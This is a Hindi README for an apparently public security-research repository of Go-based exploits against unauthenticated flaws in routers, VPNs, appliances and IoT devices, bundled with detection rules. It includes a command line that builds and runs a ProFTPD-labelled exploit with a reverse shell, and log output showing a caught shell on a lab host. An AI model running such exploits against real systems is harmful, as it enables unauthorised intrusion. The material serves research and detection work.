vulncheck-oss/initial-access-communityराउटर, VPN, उपकरणों और IoT में अनधिकृत नेटवर्क कमज़ोरियों के लिए Go-आधारित एक्सप्लॉइट, जो PCAPs, Suricata/Snort/YARA/Sigma नियमों और Nmap स्क्रिप्ट्स के साथ बंडल किए गए हैं।
VulnCheck की इनिशियल एक्सेस कम्युनिटी रिपॉज़िटरी में हमारे स्वामित्व वाले Initial Access Intelligence उत्पाद और समुदाय के योगदानों से प्राप्त एक्सप्लॉइट और संबंधित आर्टिफ़ैक्ट शामिल हैं। इनिशियल एक्सेस का सामान्य फ़ोकस नेटवर्क-आधारित कमज़ोरियों पर होता है जिनके लिए उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं होती, और इसमें अनऑथेंटिकेटेड कमज़ोरियों को विशेष प्राथमिकता दी जाती है। सामान्य लक्ष्यों में राउटर, VPN, सेल्फ-होस्टेड सेवाएँ (MobileIron, GitLab, Confluence, आदि), नेटवर्क उपकरण, B2B एप्लिकेशन और IoT डिवाइस शामिल हैं।
एक्सप्लॉइट VulnCheck के go-exploit फ़्रेमवर्क का उपयोग करके Go में लिखे गए हैं। जहाँ संभव हो, एक्सप्लॉइट में एक टारगेट वेरिफ़ायर और एक वर्ज़न स्कैनर शामिल होता है। हालाँकि, इनिशियल एक्सेस केवल एक्सप्लॉइट तक सीमित नहीं है। हम डिस्कवरी और डिटेक्शन पर भी ध्यान देते हैं। एक्सप्लॉइट के साथ-साथ, जहाँ संभव हो, हम निम्नलिखित भी शामिल करते हैं:
हम एक्सप्लॉइट डिज़ाइन के लिए go-exploit के समान मार्गदर्शन का पालन करते हैं। देखें go-exploit पैकेज अवलोकन।
$ cd feed/cve-2026-42167
$ make
$ ./build/cve-2026-42167_linux-amd64 -a -v -c -e -c2 SimpleShellServer -rhost 127.0.0.1 -rport 2121 -lhost 172.23.0.1 -lport 4446
time=2026-05-08T19:17:44Z level=STATUS msg="Starting listener on 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Validating ProFTPD target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=2121 verified=true
time=2026-05-08T19:17:44Z level=STATUS msg="Running a version check on the remote target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=STATUS msg="This exploit has not implemented a version check" host=127.0.0.1 port=2121 vulnerable=notimplemented
time=2026-05-08T19:17:44Z level=STATUS msg="Building reverse shell to 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Sending COPY-to-program injection to 127.0.0.1:2121"
time=2026-05-08T19:17:44Z level=SUCCESS msg="Caught new shell from 172.23.0.2:49722"
time=2026-05-08T19:17:44Z level=STATUS msg="Active shell from 172.23.0.2:49722"
time=2026-05-08T19:17:48Z level=SUCCESS msg="Exploit successfully completed" exploited=true
$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres)
feed/ - एक्सप्लॉइट और कमज़ोरी-विशिष्ट आर्टिफ़ैक्टverification/ - साझा टारगेट वेरिफ़िकेशन कोडshells/ - साझा शेल और पेलोड कोडexamples/ - नए एक्सप्लॉइट बनाने के लिए टेम्पलेटtools/ - प्रोजेक्ट टूलिंग और उपयोगिताएँ